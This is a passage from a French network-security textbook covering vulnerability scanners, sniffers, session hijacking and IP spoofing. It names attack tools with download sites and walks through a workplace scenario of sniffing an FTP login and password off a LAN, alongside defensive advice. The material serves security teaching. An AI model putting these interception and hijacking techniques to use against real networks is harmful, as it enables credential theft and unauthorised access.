fréquence de la mise à jour de sa base de données sont les critères les plus
importants pour identifier et sélectionner un bon outil de ce type.

5.6.2. Les scanners à base de réseau et à base d’hôte

Il y a deux principaux types de scanners automatiques de vulnérabilités, à savoir


les scanners à base de réseau (network-based) et les scanners à base d’hôte (host-
based).

Les premiers, que nous pouvons appeler aussi scanner de type externe, opèrent à
partir de l’extérieur du réseau-cible. Ils recherchent les vulnérabilités exploitables à
distance, telles que les problèmes des serveurs Web, les ports ouverts, les problèmes
de débordement de mémoire, etc.

Les scanners à base d’hôte, appelés également scanners de type interne


investissent, au contraire, le système-cible à partir de l’intérieur. Ils identifient les
problèmes tels que les fichiers avec faibles permissions, les mots de passe pauvres
(c’est-à-dire facilement prévisibles), le manque d’audits ou de contrôles de sécurité,
etc. Généralement, pour les scanners de ce type, un agent doit être au préalable
installé dans le système-cible et avoir pour mission d’avertir la station principale de
l’existence de vulnérabilités.

Ces deux types de scanners sont complémentaires et donc à utiliser


simultanément lors des tests des systèmes critiques. Cependant, faut-il encore le
rappeler, l’attention est de rigueur lors de l’utilisation de ces scanners. Les scanners
à base de réseau ont plusieurs options pour des tests dangereux, tel que le déni de
service.

Les scanners internes peuvent être utilisés comme des outils de gestion des
configurations. Ce type de scanners peut identifier et enregistrer les changements
d’administrateurs de système ou d’autres utilisateurs. Par exemple, quand un
administrateur du système change les permissions des fichiers accidentellement sur
un serveur ou ouvre un accès à un service, le scanner est capable de lister ces
changements et de les signaler au serveur de gestion.
108 La sécurité sur Internet

5.6.3. Faiblesses des scanners de vulnérabilités

Les scanners de vulnérabilités automatiques aident, certes, à l’identification des


vulnérabilités et à la correction de quelques-unes, mais ne garantissent nullement
une parfaite sécurisation des réseaux. Leur action est tout de même limitée et
comporte certains inconvénients insoupçonnés. Pis encore, de nombreuses
personnes, même parmi les professionnels, croient que ces scanners sont capables
d’identifier toutes les vulnérabilités de leurs réseaux et systèmes et qu’ils peuvent
remplacer les tests d’intrusion ordinaires. Un administrateur ne doit jamais ignorer
qu’un scanner de vulnérabilités ne peut jamais remplacer un professionnel de tests
d’intrusion talentueux.

Les scanners sont inefficaces dans le processus d’intrusion et d’attaque, par


exemple passer à travers des filtres pour accéder à un serveur FTP mal configuré ou
exploitant un système pour acquérir des mots de passe des autres systèmes. Un bon
test de sécurité doit identifier des failles additionnelles que la plupart des scanners
n’ont pas pu identifier.

Les scanners de vulnérabilités aident à identifier des vulnérabilités, mais


l’intervention d’une personne talentueuse avec des outils, des astuces et une bonne
expérience est encore le moyen le plus efficace pour identifier et corriger un
maximum de failles ou de trous de sécurité.

L’efficacité des scanners de vulnérabilités est tributaire de leur base de données.


Une bonne base de données n’est fiable que si elle est régulièrement mise à jour ; le
cas échéant, le résultat du scanning sera médiocre. Les nouvelles vulnérabilités selon
les systèmes et les applications sont publiées presque quotidiennement.

Une malheureuse utilisation des scanners peut s’avérer dangereuse. Network


Associates CyberCop et ISS Internet Scanner, par exemple, contiennent des modules
de test de déni de service (DoS, Denial of Service). Bien que ces modules soient
dédiés à tester seulement l’existence des vulnérabilités de déni de service (DoS), ils
peuvent, à la suite d’une mauvaise manipulation, causer eux-mêmes un état de déni
de services dans le réseau ou le système. Un testeur non expérimenté ignorant
l’existence de certains modules ou options risque de mettre à mal tout le réseau de
son entreprise.

Par ailleurs, l’utilisation de scanning automatique pendant les périodes où le


réseau est très demandé et fortement exploité peut y générer un énorme trafic et
corollairement réduire ses performances et ralentir le système.
La phase de scanning et d’analyse des vulnérabilités 109

Signalons également que si un système de détection d’intrusion (IDS, Intrusion


Detection System) est installé sur le réseau à tester, une grande vigilance est
recommandée avant de lancer le scanner de vulnérabilités. En effet, certains
systèmes de détection d’intrusion, quand ils détectent des activités suspectes dans le
réseau, ont pour mission de bloquer et d’isoler le segment du réseau supposé
attaqué. Le scanning fait partie de ces activités douteuses. Il faut donc vérifier les
compatibilités avant de lancer le scanning de vulnérabilités automatique sur le
réseau. Les pirates savent que, pour rester indétectables lors du scanning, le choix
d’un scanner de vulnérabilités automatique n’est pas la bonne approche.

La plupart des scanners de vulnérabilités automatiques ne fournissent pas


toujours des résultats fiables. Avant toute décision, il faut analyser soigneusement
les résultats du scanner pour déterminer si les vulnérabilités détectées existent
vraiment dans le réseau concerné.

Certains scanners, tels que ISS Internet Scanner (www.iss.net), CyberCop


(www.nai.com), Nessus (www.nessus.org) et GFI LANguard Network Security
Scanner (www.gfi.com), proposent des recommandations intéressantes. Cependant,
ces recommandations sont à suivre avec prudence, car elles peuvent ne pas fournir
les détails nécessaires à la réparation convenable des défauts spécifiques au réseau
testé. Pour mener à bien cette réparation, d’autres recherches additionnelles sont à
faire. Ces recommandations sont seulement un point de départ non négligeable pour
appréhender les failles identifiées, et sécuriser le réseau et les systèmes en question.
Il est donc fortement conseillé de tester les solutions dans un environnement non
opérationnel avant de les implémenter dans un réseau opérationnel, afin d’éprouver
à l’avance certains problèmes.

5.6.4. Les outils

Plusieurs scanners sont disponibles sur le marché mais aucun n’est infaillible.
Tel scanner excelle juste dans le scanning d’un système d’exploitation particulier ;
tel autre se distingue par sa rapidité. Mais le meilleur scanner n’existe pas. En fait,
tout dépend de ses performances et de ses caractéristiques spécifiques. Par
conséquent, il est préférable, dans la mesure du possible, d’utiliser plusieurs outils.

L’inventaire qui va suivre tente de comparer les scanners les plus utilisés.

Network Associates CyberCop et ISS Internet Scanner, bien que leur prix soit
assez élevé, sont des scanners très utilisés pour les plates-formes Unix et Windows.
Cependant, l’expérience a montré que ISS Internet Scanner peut détecter des
vulnérabilités que CyberCop ne détecte pas, et vice versa.
110 La sécurité sur Internet

Si le budget de l’entreprise est limité, il existe des scanners téléchargeables à


titre gracieux sur l’Internet. Nessus est le meilleur scanner gratuit et n’a rien à envier
aux meilleurs scanners payants.

Le numéro de janvier 2001 de la revue Network Computing a procédé à un test


comparatif sur les capacités des huit scanners suivants : Nessus, Network Assocaites
CyberCop, ISS Internet Scanner, Axent’s NetRecon, Bindview’s HackerShield,
eEye Digital Security’s Retina, Security Administrator’s Research Assistant
[SARA], et World Wide Digital Security’s System Analyst Integrated Network Tool
[SAINT] pour identifier dix-sept vulnérabilités.

Sur ces dix-sept vulnérabilités existantes, Nessus en a identifié quinze et a été


classé premier. Il apparaît comme un scanner puissant et très efficace. Il s’agit d’un
projet conçu avec le code ouvert, très prisé par les utilisateurs. De nouveaux
modules y sont continuellement intégrés par ses partisans.

Enfin, qu’il soit commercial ou gratuit, la plus importante qualité à exiger d’un
scanner automatique de vulnérabilités est la fréquence de la mise à jour de sa base de
données des vulnérabilités à la juste fin de détecter les dernières vulnérabilités en
date.

5.6.5. Génération de rapports de vulnérabilité

Les scanners automatiques de vulnérabilités génèrent des rapports sur l’état des
systèmes testés et les vulnérabilités détectées. Nous montrons ci-dessous, le rapport
généré par le scanner Typhon I, version d’évaluation du scanner Typhon II, et celui
généré par GFI LANguard Network Security Scanner.

Après avoir entré l’adresse IP d’une machine cible (Figure 5.5).

Figure 5.5. L’écran d’accueil de Typhon I


La phase de scanning et d’analyse des vulnérabilités 111

On sélectionne les services à analyser afin d’identifier les vulnérabilités connues.


Dans ce cas de figure, tous les services sont sélectionnés (Figure 5.6).

Figure 5.6. Choix des services et des ports à scanner

Dès lors, le scanner commence le processus du scanning par service, à savoir le


service Web, NetBios, SMTP, FTP, etc. (Figure 5.7)

Figure 5.7. Processus du scanning


112 La sécurité sur Internet

Une fois le processus de scanning terminé, Typhon I produit un rapport détaillé


en format HTML contenant les vulnérabilités identifiées, ainsi que les types
d’attaques potentielles associées. Etant également un scanner de ports, Typhon I
affiche la liste des ports UDP et TCP ouverts. Il fournit aussi des recommandations
de sécurité pour chaque type de vulnérabilité identifiée (Figure 5.8).

Figure 5.8. Liste des rapports générés par Typhon I

En effet, Typhon I précise que le serveur Web dans la machine cible est
Microsoft-IIS/2.0, et montre les problèmes de sécurité associés à ce type de serveur.
Nous détaillerons dans le chapitre 10 un exemple d’attaque sur un serveur Web. Les
vulnérabilités au sein du serveur Web Microsoft-IIS/2.0 permettraient à une
personne mal intentionnée d’exécuter des commandes Dos arbitraires sur la
machine- cible ; possibilité qui lui permettrait notamment d’accéder et de télécharger
des fichiers du disque du serveur (Figure 5.9).
La phase de scanning et d’analyse des vulnérabilités 113

Figure 5.9. Le rapport généré relatif au service Web

Le rapport montre aussi que la machine cible répond à des requêtes ICMP,
notamment la commande Ping (Figure 5.10).

Cette vulnérabilité peut être exploitée pour lancer une attaque de type « Ping of
death » (Le Ping de la mort), qui consiste à envoyer des milliers de commande Ping
pour détruire la performance de la machine cible ou causer un DoS (déni de service)
total (chapitre 7).
114 La sécurité sur Internet

Figure 5.10. Le rapport généré relatif au protocole ICMP

Typhon I étant aussi un port scanner, il fournit la liste des ports UDP et TCP
ouverts dévoilés comme dans la Figure 5.11. Il ressort que la machine cible a
plusieurs ports UDP et TCP ouverts.

Il s’avère que la plupart de ces ports ne sont pas utilisés et parfois,


malheureusement, l’utilisateur de la machine ignore même l’existence de tels types
de ports ouverts dans sa propre machine.

La machine testée est donc très vulnérable et facilement attaquable car une
machine avec plusieurs ports ouverts est généralement très convoitée.
La phase de scanning et d’analyse des vulnérabilités 115

Figure 5.11. Le rapport généré relatif aux ports ouverts

Le scanner de vulnérabilité GFI LANguard :

La Figure 5.12 donne un exemple de rapport généré par le scanner de


vulnérabilités automatique GFI LANguard. En outre, le rapport dévoile les systèmes
d’exploitation des machines scannées, leurs ports ouverts et les différentes
vulnérabilités de chaque service identifié.
116 La sécurité sur Internet

Figure 5.12. Un exemple de rapport généré par le scanner GFI LANguard

Résumé du chapitre 5

Dans ce chapitre, nous avons présenté le processus de scanning des


vulnérabilités. Cette approche consiste à identifier les vulnérabilités au sein d’un
réseau ou d’un système. Les processus d’identification du système d’exploitation
d’une machine, des ports ouverts, des services et applications associés, des modems
connectés aux systèmes sont les premiers processus à entreprendre durant cette
phase.

Pour optimiser le processus de scannage des vulnérabilités, il existe des scanners


automatiques de vulnérabilités, commerciaux, disponibles sur le marché et des outils
gratuits téléchargeables de l’Internet. Ces scanners utilisent en général des bases de
données de vulnérabilités qui doivent être mises à jour régulièrement afin de pouvoir
identifier les dernières vulnérabilités ou exploits annoncés. Ces scanners génèrent
des rapports détaillés sur l’état de la sécurité d’un réseau ou d’un système-cible et
contenant notamment la liste des vulnérabilités identifiées, des attaques associées à
chaque type de vulnérabilité, et des recommandations de sécurité. Il faut noter enfini
que ces scanners sont aussi des scanners de ports, et de ce fait, ils incluent dans les
rapports générés la liste de tous les ports UDP et TCP ouverts dans le système-cible.
Chapitre 6

La phase d’intrusion et d’attaque

6.1. Introduction

Une fois le scanning du réseau ou des systèmes-cibles terminé, et la liste de leurs


vulnérabilités potentielles établie, les attaques peuvent survenir à tout moment.

Essayons à présent de cerner les profils des agresseurs pour mieux comprendre
l’attaque et prémunir un système contre les agressions.

6.2. Les attaquants

6.2.1. Les débutants

Nous avons déjà signalé que plusieurs sites Web offrent d’importantes bases de
données de vulnérabilités. Avec les moteurs de recherche existants, un simple
débutant1 est en mesure de trouver des vulnérabilités associées à une application, un
système d’exploitation, un routeur, etc.

Ce type d’agresseurs recherchent les vulnérabilités puis téléchargent à partir de


certains sites les programmes d’attaque correspondants. Puis, ils les configurent et
les exécutent, le plus souvent sans comprendre réellement ni le fonctionnement, ni le

1 Les attaques perpétrées par des enfants ont souvent fait la Une des journaux.
118 La sécurité sur Internet

principe des attaques. Et bien que les tentatives d’intrusions et d’attaques ne


réussissent pas toujours, il n’en demeure pas moins qu’elles peuvent occasionner des
dégâts considérables dans des réseaux et des systèmes mal configurés ou non mis à
jour.

6.2.2. Les attaquants confirmés

Alors qu’un débutant utilise des moteurs de recherche et des bases de données de
vulnérabilités pour trouver des programmes d’intrusion et/ou d’attaques, sans en
comprendre parfois le principe de fonctionnement, un agresseur expérimenté utilise
des techniques plus complexes. Dans ce qui suit, nous discuterons plus en détail ces
techniques.

Une attaque est menée en fonction de deux critères : elle dépend de l’architecture
et de la configuration du réseau ou système-cible d’une part, et d’autre part, de
l’expérience personnelle et du domaine de prédilection de l’agresseur. Les
agresseurs expérimentés sont malheureusement très astucieux et inventifs.

Pour bien réussir durant cette phase, ils se basent sur les particularités de
l’environnement de la cible et sélectionnent, à partir d’une panoplie, la technique la
plus adéquate. Nous allons maintenant décrire cette phase en exposant les différentes
techniques.

6.3. Les sniffers et les anti-sniffers

Un sniffer est une arme à double tranchant. C’est un programme qui permet de
capturer toutes les données circulant sur un réseau local (LAN). Il est utile autant
pour un agresseur qui recherche des données circulant dans le réseau local que pour
un administrateur réseau qui essaye de résoudre les problèmes techniques de son
entreprise. En utilisant un sniffer, on peut lire des données transitant à travers une
machine donnée en temps réel, ou enregistrer ces données dans un fichier pour les
analyser ultérieurement.

Un sniffer peut capturer n’importe quelle information envoyée à travers un


réseau local, donc aussi bien l’identité des utilisateurs que les mots de passe transmis
par tout service transportant des données claires (non cryptées), tels que Telnet,
DNS, SMTP, FTP et HTTP. Si les données ne sont pas cryptées et passent par
l’interface réseau de la machine où s’exécute le sniffer, ce dernier les capturer et les
La phase d’intrusion et d’attaque 119

propose à la lecture directe. En mettant l’interface réseau en mode « promiscuous »2,


un sniffer collecte tout le trafic passant par cette interface. Alternativement, quand la
collecte des données se fait seulement pour les données à destination ou issues de
l’interface réseau, un sniffer laisse l’interface en mode normal. C’est donc le
programme sniffer qui fait passer la carte réseau du mode normal en mode
« promiscuous ».

L’agresseur doit forcément avoir un compte dans la machine où le sniffer


s’exécute. Il possède souvent un tel compte parce qu’il est, soit, employé dans
l’entreprise-cible, un fournisseur ou un stagiaire dont la connexion aux systèmes est
nécessaire, par exemple. L’agresseur aurait pu également obtenir un compte dans la
machine du réseau local d’une entreprise à la suite à une intrusion antérieure.

Après l’ouverture d’un compte, l’une des premières opérations exécutées par
l’agresseur consiste à installer et à activer un sniffer. Donc un sniffer non autorisé et
s’exécutant à l’insu de l’utilisateur est certainement la preuve de manipulation
malveillante.

Les sniffers permettent particulièrement d’accéder aux systèmes les uns à la suite
des autres. Tout d’abord, l’agresseur prend le contrôle d’une machine cible en
exploitant une ou plusieurs vulnérabilités identifiées grâce à un exploit3.

Après avoir obtenu un compte sur cette machine, l’agresseur y installe un sniffer.
Il épie les utilisateurs et les administrateurs qui se connectent à d’autres systèmes sur
le même segment LAN ou sur d’autres segments. Le sniffer lui procure les loggins
et les mots de passe, grâce auxquels il peut contrôler et compromettre les autres
machines où il installera des sniffers. Le fait d’installer des sniffers sur les nouvelles
machines victimes permet à l’agresseur de s’approprier d’autres loggins et mots de
passe, ce qui lui facilite le passage d’un système à l’autre et d’en prendre
successivement le contrôle.

Les sniffers sont nombreux et disponibles sur le Web. Nous présentons ci-
dessous les sniffers les plus riches en fonctionnalités et les plus utilisés ainsi que
leurs adresses :
– Sniff’em : http://www.sniff-em.com
– CommView : http://www.tamos.com

2 Le mode « promiscuous » est un mode particulier de fonctionnement des cartes réseaux qui
consiste à accepter tous les paquets circulant dans un réseau ; par opposition au mode normal
qui filtre les paquets.
3 Une attaque par saturation de mémoire, par exemple.
120 La sécurité sur Internet

– Tcpdump : http://www.tcpdump.org
– Windump : http://netgroup-serv.polito.it/windump
– Snort : http:///www.snort.org
– Ethereal : http://www.ethereal.com
– Sniffit : http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
– Linsniff : http://www.packetstormsecurity.org
– BUTTsniffer : http://www.packetstormsecurity.org
– Dsniff : http://www.monkey.org/~dugsong/dsniff

6.3.1. Les anti-sniffers

Pour se défendre contre les sniffers, il existe des anti-sniffers. Ce sont des outils
qui sont utilisés comme contre-mesure afin de détecter les machines dont les cartes
réseaux sont en mode « promiscuous ». Citons à titre d’exemples
– PromiScan, (www.securityfriday.com),
– PMD (http://webteca.port5.com),
– L0pht AntiSniff (http://www.L0pht.com),
– AntiSniff (http://packetstormsecurity.nl/sniffers/antisniff/).

Figure 6.1. L’anti-sniffer PromiScan


La phase d’intrusion et d’attaque 121

Cependant si les anti-sniffers sont d’excellents outils pour sécuriser les réseaux et
surtout détecter les activités d’espionnage dans les réseaux, ils ne sont pas
infaillibles. En effet, la détection est une tâche difficile, et ces outils doivent être
largement déployés à travers le réseau afin d’en couvrir tous les segments critiques.
Malheureusement même les plus sophistiqués ont du mal à détecter un sniffer bien
configuré. La meilleure protection est de crypter les données sensibles du trafic et
d’utiliser des services d’authentification. Dans la Figure 6.1, l’anti-
sniffer PromiScan montre qu’un sniffer est dans la machine d’adresse MAC
00 :07 :E9 :D4 :1A :51.

6.3.2. Un scénario d’attaque avec un sniffer

Nous présentons maintenant un exemple de scénario d’attaque de type sniffing.


Dans ce cas de figure, l’agresseur est un employé d’une entreprise qui possède une
machine connectée sur le réseau LAN de son entreprise. L’administrateur du réseau
étant la seule personne autorisée à accéder au serveur FTP, l’agresseur cherchera
donc à se connecter au serveur FTP. Ainsi l’objectif de l’attaque est-il d’obtenir le
Login et le mot de passe utilisés par la personne autorisée à accéder au serveur FTP.
Pour ce faire, l’agresseur installe alors le sniffer Sniffem dans sa machine (Figure
6.2) qui va capturer tous les paquets TCP/IP circulant dans le LAN. A partir de
l'analyse du contenu de ces paquets, il attend patiemment qu’une personne autorisée
se connecte au serveur FTP pour récupérer son Login et son mot de passe.

Figure 6.2. Utilisation du sniffer Sniffem


122 La sécurité sur Internet

Le sniffer Sniffem affiche systématiquement tous les paquets capturés circulant


sur le LAN de l’entreprise. La Figure 6.3 montre que pour chaque paquet capturé,
tous les champs ainsi que leurs contenus sont affichés. La capture délivre presque
tout : les adresses IP de source et de destination, tous les ports d’émission et de
réception, le service (FTP, Telnet, etc.), les protocoles de transport TCP, UDP ou
ICMP, la taille du champ des données, le contenu du champ des données, etc. Ainsi,
dans la Figure 6.3, le paquet numéro 5 correspond à un paquet TCP, le port de
destination est le 21, le service en cours est le FTP. L’adresse IP de destination est
celle du serveur FTP. Le contenu du champ de données montre que la personne en
question a tapé le mot « Zouheir » comme Login. De ce fait, il est fort probable que
la personne qui essaye de se connecter au serveur FTP y est autorisée.

Figure 6.3. Capture du Login de l’utilisateur

D’autre part, comme le montre la Figure 6.4, le paquet numéro 7 est un paquet
TCP. Le port de destination est 21. Le service est fort probablement FTP. Le champ
des données contient le mot de passe : « Tunis@tunis.com ».
La phase d’intrusion et d’attaque 123

Figure 6.4. Capture du mot de passe de l’utilisateur

Ainsi, le pirate obtient le login et le mot de passe lui permettant d’accéder au


serveur FTP de son entreprise en utilisant le sniffer Sniffem et en analysant les
paquets capturés. Après ces opérations, le pirate n’a plus qu’à tenter une connexion
au serveur FTP.

6.4. L’attaque de détournement de session

Le détournement de session est un processus de prise de contrôle d’une session


active. Le but de cette manœuvre est d’éviter le processus d’authentification et de
pouvoir accéder à une machine. En principe, après la connexion et l’authentification,
un utilisateur légitime accède au serveur, et tant qu’il reste connecté, il n’est pas
obligé de s’identifier de nouveau. Cette authentification originale est valable et
suffisante tout au long de la session quelle qu’en soit la durée. Ceci laisse la porte
ouverte à un agresseur pour la prise de contrôle de la session, qui est en général faite
en inhibant l’utilisateur (par exemple par une attaque de déni de service).
124 La sécurité sur Internet

L’agresseur n’a plus qu’à se faire passer pour l’utilisateur légitime et à accéder au
serveur sans être authentifié.

Avec le détournement de session, un agresseur peut simplement surveiller le


trafic d’une session, ou en enregistrer tout le trafic s’il le souhaite. Il peut aussi y
injecter périodiquement des commandes et, à sa guise, procéder à deux types
d’offensives : les attaques passives et les attaques actives.

6.4.1. Les types de détournement de session

Avec une attaque passive, un agresseur détourne une session pour observer et
enregistrer seulement tout le trafic de la session. Ceci est très utile pour collecter des
informations sensibles, comme les mots de passe. L’attaque passive est le plus
souvent représentée par le spoofing. Plutôt que de déconnecter sa victime comme
dans une attaque active, l’agresseur fait semblant d’être un autre utilisateur ou
machine pour obtenir un accès. Quand l’agresseur est en train de réaliser son attaque
de spoofing, la victime peut être chez elle ou en vacances – l’utilisateur réel ne joue
aucun rôle dans ce type d’attaque. Par conséquent, l’agresseur n’est pas activement
en train de lancer une attaque contre une session active ouverte par un utilisateur
légitime.

Ce qui est différent pour une attaque de détournement de session : l’agresseur


prend le contrôle d’une session active, ce qui veut dire qu’il compte sur
l’établissement d’une connexion et de l’authentification d’un utilisateur légitime.
Puis dès que l’opportunité se présente, il prendra le contrôle total de la session. Ceci
est réalisé par la déconnexion complète de l’utilisateur légitime. Donc, la différence
principale entre les deux types d’attaques réside dans le fait que le spoofing implique
seulement les deux éléments suivants : l’agresseur et la machine cible.

Lors d’une attaque active, l’agresseur recherche une session active et en prend le
contrôle. Ceci est réalisé par la déconnexion de l’une des parties impliquées dans la
session, de telle sorte que l’utilisateur ne peut plus communiquer. Par exemple, une
attaque de déni de service déconnecte l’utilisateur légitime d’une session. Ensuite,
l’agresseur se substitue à l’utilisateur légitime, prend le contrôle de la session, et
exécute des commandes sur le système. Ce dernier lui fournira des informations
sensibles et lui autorisera l’accès en tant qu’utilisateur habituel.

Plusieurs entreprises se croient en sécurité avec seulement la technique


d’authentification one-password (à mot de passe unique). Cependant, comme les
sessions Telnet et FTP ne sont pas cryptées, un agresseur est capable de détourner
La phase d’intrusion et d’attaque 125

les sessions en utilisant un outil de détournement de session4. Quand la victime


d’une attaque de détournement de session est déconnectée, elle impute cela le plus
souvent à un problème de réseaux et tente en vain une nouvelle connexion.

Il existe aussi des attaques hybrides, durant lesquelles un agresseur observe une
session pendant un certain temps avant d’entrer en action et d’en prendre le contrôle.
Une autre variante consiste à observer une session et périodiquement y injecter des
données sans pour autant en prendre effectivement le contrôle.

6.4.2. Les outils de détournement de session

En théorie, le détournement de session est très complexe. Et pour réaliser


manuellement son attaque, en plus de la durée que cela exige, l’agresseur doit être
hautement qualifié en technologie des réseaux et des systèmes. Malheureusement, la
tâche est rendue très simple à réaliser même pour des novices grâce à des
programmes conçus pour la cause et présentant de surcroît des interfaces graphiques
conviviales. Un agresseur n’a même pas besoin de maîtriser la théorie et le
fonctionnement du détournement de session. S’il a une cible en vue et s’il possède
ce genre de programmes, il peut détourner une session comme un vrai professionnel.

Voici quelques exemples d’outils de détournement de session disponibles sur


Internet :
– Juggernaut : c’est un sniffer utilisé pour détourner une session TCP et
disponible à l’adresse : http://packetstormsecurity.nl. Il peut être configuré pour
observer tout le trafic dans un réseau. Des mots clefs pourraient lui être fournis afin
qu’il capture les sessions contenant ces mots clés. Par exemple, un mot clé type peut
être le mot « login ». Dès que Juggernaut découvre ce mot clé, il capture la session,
ce qui veut dire qu’un agresseur peut capturer le mot de passe d’un utilisateur lors de
la phase d’authentification. En utilisant cet outil, un agresseur peut observer toutes
les sessions et choisir celle qu’il va détourner.
– Hunt : c’est un programme utilisé pour écouter, intercepter, et détourner une
session active dans un réseau. Il est disponible à l’adresse :
http://packetstormsecurity.nl. Hunt est plus récent que Juggernaut avec lequel il
partage les mêmes concepts mais avec certaines améliorations.
– TTY-Watcher : c’est un programme qui permet de surveiller et de détourner
des connexions. Il est la version gratuite de l’outil IP Watcher décrit ci-dessous.
(http://www.engarde.com)

4 Voir plus bas, 6.4.2.


126 La sécurité sur Internet

– IP-Watcher : c’est un outil commercial de détournement de session qui permet


de surveiller les connexions. Il possède des parades pour le détournement de session.
Il est basé sur TTY Watcher, mais fournit plus de fonctionnalités. IP Watcher peut
surveiller un réseau entier alors que TTY Watcher ne peut surveiller qu’un seul hôte.
(http://www.engarde.com)

6.4.3. Les dangers de détournement de session

Le détournement de sessions est très dangereux pour plusieurs raisons. La


principale est que ce type d’attaque est indépendant du système d’exploitation.
Quelque soit le système d’exploitation utilisé, dès qu’il parvient à établir une
connexion TCP/IP, l’agresseur peut détourner la session visée. Une autre raison est
que le détournement de session peut être utilisé aussi bien pour une attaque active
que passive. Le détournement pourrait être utilisé non seulement pour capturer des
informations sensibles et des mots de passe, mais aussi pour accéder à une machine
et la compromettre.

6.4.4. Protection contre le détournement de session

Il est important de noter que chaque machine utilisant Internet pour


communiquer est potentiellement vulnérable à des attaques de détournement de
session. Il y a des mesures qui peuvent minimiser les menaces, mais il n’y a aucune
solution pour les éliminer complètement tant que la communication se fait à travers
un réseau.

Si dans les autres types d’attaques, un administrateur peut éliminer les


vulnérabilités et par conséquent les menaces, dans le cas de détournement de
session, pour éliminer tout risque, la meilleure solution est d’interdire tout type de
connexion, mais ceci est contraire au principe des connexions Internet ou réseaux.

Authentification
L’agresseur prend le contrôle d’une session juste après que la victime
s’authentifie, indépendamment de la manière ou des processus d’authentification
utilisés.

Si l’authentification ne se fait qu’en début de session et que l’agresseur


parvienne à ce moment-là à prendre le contrôle de la session, le meilleur système
d’authentification au monde est inefficace.
La phase d’intrusion et d’attaque 127

La solution serait plutôt la méthode de re-authentification qui sera programmée


pour une fréquence aléatoire tout au long d’une session. Malheureusement, peu de
sites exigent de leurs utilisateurs des re-authentifications compte tenu de la lourdeur
et des inconvénients de cette méthode.

Cryptage
Le cryptage est probablement l’une des méthodes les plus efficaces à utiliser
pour se protéger de l’attaque de détournement de session. Si un agresseur ne peut
pas lire les données transmises lors d’une session, il lui est alors très difficile de la
détourner. Cependant certains administrateurs inconscients rechignent à procéder au
cryptage.

Limiter le trafic
Moins le trafic autorisé de l’Internet vers le réseau de l’entreprise est dense, plus
le réseau est sécurisé. Ceci minimise le risque de détournement de session. L’idéal
serait de bloquer le plus possible le trafic au niveau du routeur externe et/ou du
firewall.

6.5. Le spoofing des adresses IP et des adresses emails

Si un agresseur arrive à falsifier (spoof) ou à cacher sa propre identité de sorte


que l’ordinateur victime le prend pour un utilisateur légitime, il peut probablement
accéder à des informations qu’il n’est pas normalement autorisé à obtenir. C’est le
spoofing (falsification). Dans ce qui suit, nous nous limitons à évoquer les deux
types d’attaques de spoofing : le spoofing des adresses IP et le spoofing des emails.

6.5.1. Le spoofing des adresses IP

L’agresseur falsifie l’adresse IP d’un autre ordinateur pour acquérir des


informations ou obtenir des accès. Quand un système est attaqué, il répond, et la
réponse parvient à l’adresse falsifiée (spoofed), et non à l’adresse de l’agresseur.
Donc l’agresseur ne reçoit aucune réponse. Par contre, si l’agresseur se situe entre la
machine attaquée et la machine portant l’adresse IP falsifiée (spoofed), il peut
capturer la réponse.

Il existe en général trois types de spoofing des adresses IP :


– Changement des adresses IP
– Techniques du routage strict et lâche
– Relations de confiance entre les machines UNIX.
128 La sécurité sur Internet

6.5.1.1. Le changement des adresses IP


La forme la plus basique de falsification des adresses IP consiste à changer la
configuration du réseau et à en changer l’adresse IP. Ce faisant, tous les paquets
envoyés à l’extérieur ont comme adresse IP source celle choisie par l’agresseur. Ceci
implique que, désormais, tous les paquets de réponse seront renvoyés à l’adresse
falsifiée et désignée au préalable et non à l’adresse de l’agresseur ou de la victime.

Et comme une connexion TCP exige des contrôles et des accusés de réception
pour s’initialiser et établir la connexion définitive, l’opération échouera car les
messages de contact sont envoyés à une tierce machine (correspondant à l’adresse
falsifiée) ignorant tout de l’opération.

Cette technique est très limitée. Cependant, elle s’avère intéressante, puisque le
pirate se contente d’envoyer un ensemble de paquets pour « planter » la machine-
cible. Les réponses de la machine victime seront perdues dans le réseau. Il sera
d’autant plus difficile d’identifier l’adresse IP de la source d’attaque avec cette
technique.

6.5.1.2. Routage stricte et lâche


Le problème avec la technique de changement d’adresse IP est que le trafic
arrive seulement à l’adresse IP falsifiée et jamais à l’adresse de l’agresseur. Pour
certains types d’attaques très simples, cette technique est efficace puisque l’envoi
d’un seul paquet peut réaliser une attaque de DoS. Cependant pour mener des
attaques plus avancées et pour voir tous les paquets des machines connectées
(capturer la communication), l’agresseur doit redoubler d’ingéniosité.

Une méthode consiste à ce que l’agresseur se positionne lui-même quelque part


sur le chemin que le trafic est censé emprunter. Ceci est très difficile puisque
l’agresseur doit compromettre une machine sur le réseau de la victime, et que
d’autre part, il n’y a aucune garantie que le trafic continue à passer par la machine
compromise par l’agresseur.

Internet est dynamique en ce qui concerne le routage (la façon dont il route les
paquets). Il y a plusieurs cas où le trafic prend la même route à travers Internet, mais
ceci n’est pas une garantie absolue. En effet, le trafic peut changer de chemin chaque
jour, chaque heure, et même chaque minute.

Cependant, il y a une méthode qui garantit que les paquets prennent un seul
chemin à travers Internet, permettant ainsi à un agresseur de visualiser tout le trafic.
Pour exécuter son forfait, il utilise un routage dit « lâche » avec des adresses de
nœuds désignées ou un routage strict.
La phase d’intrusion et d’attaque 129

Le routage lâche : avec ce type de routage, l’utilisateur spécifie une liste


d’adresses IP que le trafic doit emprunter à travers Internet, mais le trafic peut aussi
emprunter d’autres adresses IP. C’est-à-dire, quelque soit l’itinéraire, il suffit que les
paquets passent par les adresses spécifiées.

Le routage strict : avec ce type de routage, l’utilisateur impose plutôt un chemin


spécifique que les paquets doivent emprunter. Si le chemin déterminé n’est pas
respecté, le paquet est détruit et un message d’erreur de type ICMP est retourné à
l’utilisateur. C’est-à-dire, les paquets doivent emprunter exactement le chemin
spécifié, et s’ils ne le peuvent pas, ces paquets ne seront simplement pas envoyés.

Dans l’en-tête du paquet IP, seulement huit (8) adresses IP sont utilisées pour
véhiculer les paquets. Cependant avec l’évolution de l’Internet, il y a des cas où le
paquet doit emprunter plus de huit nœuds ou passerelles pour atteindre sa
destination. Dans ce contexte seulement, le routage du premier type peut être utilisé,
car le routage strict détruira les paquets qui ne peuvent pas suivre le chemin exact
spécifié.

6.5.1.3. Relations de confiance entre les machines Unix


Dans l’environnement Unix, des « relations de confiance » peuvent être mises en
place entre les systèmes pour faciliter le dialogue entre les machines et l’accès aux
utilisateurs.

Imaginons par exemple le développeur d’une entreprise possédant cinq serveurs


et qui utilise nécessairement ces cinq machines dans le travail. Il se connecte à une
machine, puis la quitte pour se reconnecter à une deuxième puis une troisième. Ce
procédé génère une perte de temps et d’énergie. De ce fait, établir une relation de
